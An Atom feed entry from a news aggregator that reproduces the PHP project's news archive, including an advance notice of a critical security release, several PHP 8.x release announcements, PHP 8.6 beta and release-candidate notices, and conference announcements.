<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <title>Lobsters: Top Stories of the Past Week</title>
  <subtitle>Browse aymeric&#39;s, an independent, searchable archive of readable snapshots from followed feeds, preserved in Git with aggr.</subtitle>
  <id>https://aggr.aymericbeaumet.com/sources/lobste.rs/</id>
  <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/sources/lobste.rs/"/>
  <link rel="self" type="application/atom+xml" href="https://aggr.aymericbeaumet.com/sources/lobste.rs/atom.xml"/>
  <updated>2026-10-20T22:23:54+00:00</updated>
  <author>
    <name>aymeric&#39;s</name>
  </author>
  <generator version="2.0.0" uri="https://github.com/aymericbeaumet/aggr">aggr</generator>
  <entry>
    <id>urn:aggr:item:cdc886b03aab6ee87eca37522bdedbe70319b7fa</id>
    <title type="text">Upcoming Critical PHP Security Release</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-20-upcoming-critical-php-security-release/"/>
    <link rel="via" type="text/html" href="https://www.php.net/archive/2026.php#2026-10-20-1"/>
    <published>2026-10-20T22:23:54+00:00</published>
    <updated>2026-10-20T22:23:54+00:00</updated>
    <author>
      <name>php.net via pushcx</name>
    </author>
    <category term="news"/>
    <category term="php"/>
    <category term="security"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Here are the most important news items we have published in 2026 on PHP.net.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;20 Oct 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-10-20-1&quot;&gt;Upcoming Critical PHP Security Release&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP security team would like to give advance notice of an &lt;strong&gt;upcoming security release&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It is scheduled for Wednesday, 21 October 2026 at 14:00 UTC.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It addresses two critical vulnerabilities, both rated CVSS v4.0 9.2.&lt;/p&gt;
&lt;p&gt;All PHP users are encouraged to prepare now so they can upgrade as soon as the release is available.&lt;/p&gt;
&lt;p&gt;We reserve the right to release earlier should details of either vulnerability become public, or should evidence of active exploitation appear in the wild.&lt;/p&gt;
&lt;p&gt;Full details, affected versions, and the fixed versions will be published with the release.&lt;/p&gt;
&lt;p&gt;Thank you for helping us keep PHP secure.&lt;/p&gt;
&lt;p&gt;08 Oct 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-10-08-1&quot;&gt;PHP 8.6.0 RC3 available for testing&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP team is pleased to announce the first release candidate of PHP 8.6.0, RC3. This continues the PHP 8.6 release cycle, whose rough outline is specified in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiki.php.net/todo/php86&quot;&gt;PHP Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Source downloads of PHP 8.6.0 RC3 are available on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://downloads.php.net/~svpernova09/&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please carefully test this version and report any issues found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/issues/new?template=bug_report.yml&quot;&gt;GitHub Issues&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please DO NOT use this version in production, it is an early test version.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For more information on the new features and other changes, you can read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0RC3/NEWS&quot;&gt;NEWS&lt;/a&gt; file, or the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0RC3/UPGRADING&quot;&gt;UPGRADING&lt;/a&gt; file for a complete list of upgrading notes. These files can also be found in the release archive.&lt;/p&gt;
&lt;p&gt;The next release will be RC4, planned for 22 October 2026.&lt;/p&gt;
&lt;p&gt;The signatures for the release can be found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/svpernova09/f10879c681a9b7a74116294f3c48c01e&quot;&gt;manifest&lt;/a&gt; or on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/pre-release-builds.php&quot;&gt;pre-release builds page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thank you for helping us make PHP better.&lt;/p&gt;
&lt;p&gt;24 Sep 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-09-24-5&quot;&gt;PHP 8.4.26 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.26. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.26 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.26&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;24 Sep 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-09-24-4&quot;&gt;PHP 8.2.34 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.2.34. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.2 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.2.34 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.2&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.2.34&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;24 Sep 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-09-24-3&quot;&gt;PHP 8.5.11 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.11. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.11 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.11&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;24 Sep 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-09-24-2&quot;&gt;PHP 8.3.35 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.3.35. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.3 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.3.35 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.3&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.3.35&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;24 Sep 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-09-24-1&quot;&gt;PHP 8.6.0 RC2 available for testing&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP team is pleased to announce the first release candidate of PHP 8.6.0, RC2. It is not a typo: a mistake was made while packaging RC1, so RC2 was released instead. For a full explanation, please see this &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://scherzer.dev/Blog/20260923-no-php86-rc-1&quot;&gt;blog post&lt;/a&gt;. This continues the PHP 8.6 release cycle, whose rough outline is specified in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiki.php.net/todo/php86&quot;&gt;PHP Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Source downloads of PHP 8.6.0 RC2 are available on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://downloads.php.net/~mbeccati/&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please carefully test this version and report any issues found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/issues/new?template=bug_report.yml&quot;&gt;GitHub Issues&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please DO NOT use this version in production, it is an early test version.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For more information on the new features and other changes, you can read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0RC2/NEWS&quot;&gt;NEWS&lt;/a&gt; file, or the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0RC2/UPGRADING&quot;&gt;UPGRADING&lt;/a&gt; file for a complete list of upgrading notes. These files can also be found in the release archive.&lt;/p&gt;
&lt;p&gt;The next release will be RC3, planned for 8 October 2026.&lt;/p&gt;
&lt;p&gt;The signatures for the release can be found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/mbeccati/cfba591777a21f54badd12bf60bcecc9&quot;&gt;manifest&lt;/a&gt; or on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/pre-release-builds.php&quot;&gt;pre-release builds page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thank you for helping us make PHP better.&lt;/p&gt;
&lt;p&gt;11 Sep 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-09-11-1&quot;&gt;Dutch PHP Conference 2027&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpconference.nl/&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/dpc-2027.png&quot; alt=&quot;Dutch PHP Conference 2027&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;🚀 Dutch PHP Conference 2027 is coming! 🚀&lt;/p&gt;
&lt;p&gt;We’re thrilled to announce that the 21st edition of the Dutch PHP Conference will take place from March 16 to March 19, 2027 in Amsterdam! 🗓️&lt;/p&gt;
&lt;p&gt;🎤 Call for Papers is now OPEN! 🎤&lt;/p&gt;
&lt;p&gt;Got insights, skills, or experience to share? Submit your talk ideas before the deadline on December 18th! We’re looking for both technical and non-technical sessions that will inspire and engage our community.&lt;/p&gt;
&lt;p&gt;🎟️ Early Bird Tickets Available Now! 🎟️&lt;/p&gt;
&lt;p&gt;This year, we&#39;re excited to split our conference into an action-packed 2-day format! A standard DPC conference day ticket now also gives you full access to Webdevcon (your gateway to the latest in web technology 🌐🚀).&lt;/p&gt;
&lt;p&gt;Want the ultimate experience? Our 4-day Early Bird tickets are available now! This all-access pass grants you entry to our intensive workshop days PLUS all co-located conferences, including Appdevcon (where app development meets creativity 📱✨) and the Dutch AI Conference. Secure your spot for a fantastic lineup of workshops, sessions, and social activities.&lt;/p&gt;
&lt;p&gt;Get ready for an incredible edition of #DPC27! 🌟&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;👉 Submit your CFP =&amp;gt; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpconference.nl/speakers/cfp/&quot;&gt;https://phpconference.nl/speakers/cfp/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;👉 Grab your early bird tickets =&amp;gt; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://dawntechnology.paydro.com/dawnconferences-2027&quot;&gt;https://dawntechnology.paydro.com/dawnconferences-2027&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;See you there! 🚀🎉&lt;/p&gt;
&lt;p&gt;10 Sep 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-09-10-1&quot;&gt;PHP 8.6.0 Beta 3 is available for testing&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP team is pleased to announce the third beta release of PHP 8.6.0, Beta 3. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiki.php.net/todo/php86&quot;&gt;PHP Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.6.0 Beta 3 please visit the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://downloads.php.net/~svpernova09/&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please carefully test this version and report any issues found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/issues/new?template=bug_report.yml&quot;&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please DO NOT use this version in production, it is an early test version.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For more information on the new features and other changes, you can read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0beta3/NEWS&quot;&gt;NEWS&lt;/a&gt; file, or the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0beta3/UPGRADING&quot;&gt;UPGRADING&lt;/a&gt; file for a complete list of upgrading notes. These files can also be found in the release archive.&lt;/p&gt;
&lt;p&gt;The next release will be RC 1, planned for 24 September 2026.&lt;/p&gt;
&lt;p&gt;The signatures for the release can be found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/svpernova09/b5dc0b7b2ec231b3a5db54793c7ec1aa&quot;&gt;manifest&lt;/a&gt; or on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/release-candidates.php&quot;&gt;Release Candidates page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thank you for helping us make PHP better.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://conference.phpbenelux.eu&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/phpbenelux_conference_logo_2027.png&quot; alt=&quot;PHPBenelux Conference 2027&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;PHPBenelux is back! After 11 successful editions, the leading PHP conference in Belgium, the Netherlands and Luxembourg is back for a one-day event on Saturday January 23 2027. Join us in Antwerp for a new chapter of technical excellence, community, and connection. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://pretix.eu/phpbenelux/conference2027/&quot;&gt;Buy your tickets here&lt;/a&gt;, and visit &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://conference.phpbenelux.eu&quot;&gt;https://conference.phpbenelux.eu&lt;/a&gt; for more information about the conference.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://conference.phpbenelux.eu/&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/phpbenelux_conference_logo_2027.png&quot; alt=&quot;PHPBenelux Conference 2027&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://conference.phpbenelux.eu&quot;&gt;PHPBenelux Conference&lt;/a&gt; is back and now it&#39;s your turn to take the stage! Whether you&#39;re a developer, architect, engineering lead, DevOps engineer, or open-source contributor, we&#39;d love to hear your story. Join a long tradition of knowledge sharing, inspire fellow developers, and help shape the next chapter of the PHP ecosystem. Share your unique perspective, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sessionize.com/phpbenelux-2027&quot;&gt;submit your proposal today!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;02 Sep 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpcon.ehime.jp/?utm_source=php_net&amp;amp;utm_medium=referral&amp;amp;utm_campaign=phpcon_ehime_2026&quot;&gt;PHP Conference Ehime 2026&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpcon.ehime.jp/?utm_source=php_net&amp;amp;utm_medium=referral&amp;amp;utm_campaign=phpcon_ehime_2026&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/phpcon_ehime2026.png&quot; alt=&quot;PHP Conference Ehime 2026&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;PHP Conference Ehime will be held for the first time on October 3, 2026 (JST), at Ehime University Johoku Campus in Matsuyama City, Ehime Prefecture, Japan.🍊&lt;/p&gt;
&lt;p&gt;The theme of the conference is &amp;quot;技術愛とコミュニティ愛と愛媛愛と&amp;quot;: love for technology, love for the community, and love for Ehime.&lt;/p&gt;
&lt;p&gt;Join us in this castle and hot-spring town of Shikoku, and connect with PHP developers from all over Japan.&lt;/p&gt;
&lt;p&gt;Tickets are &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fortee.jp/phpconehime-2026/ticket-shop/index&quot;&gt;on sale now&lt;/a&gt;, and further information is available on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpcon.ehime.jp/?utm_source=php_net&amp;amp;utm_medium=referral&amp;amp;utm_campaign=phpcon_ehime_2026&quot;&gt;event page&lt;/a&gt; and on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://x.com/phpcon_ehime&quot;&gt;X(Twitter)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;02 Sep 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://api-platform.com/con/2026/&quot;&gt;API Platform Conference 2026 - Lille (France) &amp;amp; Online&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://api-platform.com/con/2026/&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/api-platform-con-2026.png&quot; alt=&quot;API Platform Conference 2026&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;API Platform Conference will return on September 17th and 18th, 2026, both in Lille (France) and online.&lt;/p&gt;
&lt;p&gt;The API Platform Conference is a two-day event that highlights the latest trends, best practices, and case studies related to API Platform and its ecosystem, including PHP, Symfony, JavaScript, AI, FrankenPHP, performance, and tools.&lt;/p&gt;
&lt;p&gt;With nearly 30 talks delivered in both English and French, the conference is a must-attend for innovative companies, project leaders, and skilled developers. If you&#39;re a developer, CTO, or decision-maker specializing in these technologies, this event is tailored for you!&lt;/p&gt;
&lt;p&gt;More info at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://api-platform.com/con/2026/&quot;&gt;api-platform.com/con/2026&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://event.afup.org/&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/forumphp-2026.png&quot; alt=&quot;Forum PHP 2026 - Paris (France)&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Join the biggest PHP event organized by the French PHP user group, organized for the third time in Disneyland Paris, at the Hotel New York - The Art of Marvel! During two days, on October 8th and 9th, enjoy the company of our friendly audience, share your knowledge with +700 attendees, meet the companies who use PHP every day, in a environment that will bring even more magic to the language.&lt;/p&gt;
&lt;p&gt;Date: October 8 &amp;amp; 9&lt;/p&gt;
&lt;p&gt;Check out more details at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://event.afup.org&quot;&gt;Afup.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;27 Aug 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-08-27-3&quot;&gt;PHP 8.5.10 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.10. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.10 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.10&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;27 Aug 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-08-27-2&quot;&gt;PHP 8.4.25 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.25. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.25 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.25&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;27 Aug 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-08-27-1&quot;&gt;PHP 8.6.0 Beta 2 available for testing&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP team is pleased to announce a new beta release of PHP 8.6.0, Beta 2. This continues the PHP 8.6 release cycle, the rough outline of which is specified in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://wiki.php.net/todo/php86&quot;&gt;PHP Wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.6.0 Beta 2 please visit the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://downloads.php.net/~mbeccati/&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Please carefully test this version and report any issues found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/issues/new?template=bug_report.yml&quot;&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please DO NOT use this version in production, it is an early test version.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For more information on the new features and other changes, you can read the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0beta2/NEWS&quot;&gt;NEWS&lt;/a&gt; file, or the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/php/php-src/blob/php-8.6.0beta1/UPGRADING&quot;&gt;UPGRADING&lt;/a&gt; file for a complete list of upgrading notes. These files can also be found in the release archive.&lt;/p&gt;
&lt;p&gt;The next release will be Beta 3, planned for 10 Sep 2026.&lt;/p&gt;
&lt;p&gt;The signatures for the release can be found in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gist.github.com/mbeccati/52a35ef482b1b73296176ba9176f17b2&quot;&gt;manifest&lt;/a&gt; or on the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/release-candidates.php&quot;&gt;Release Candidates page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Thank you for helping us make PHP better.&lt;/p&gt;
&lt;p&gt;25 Aug 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-08-25-1&quot;&gt;Last Call for the State of PHP Survey&lt;/a&gt;&lt;/h2&gt;
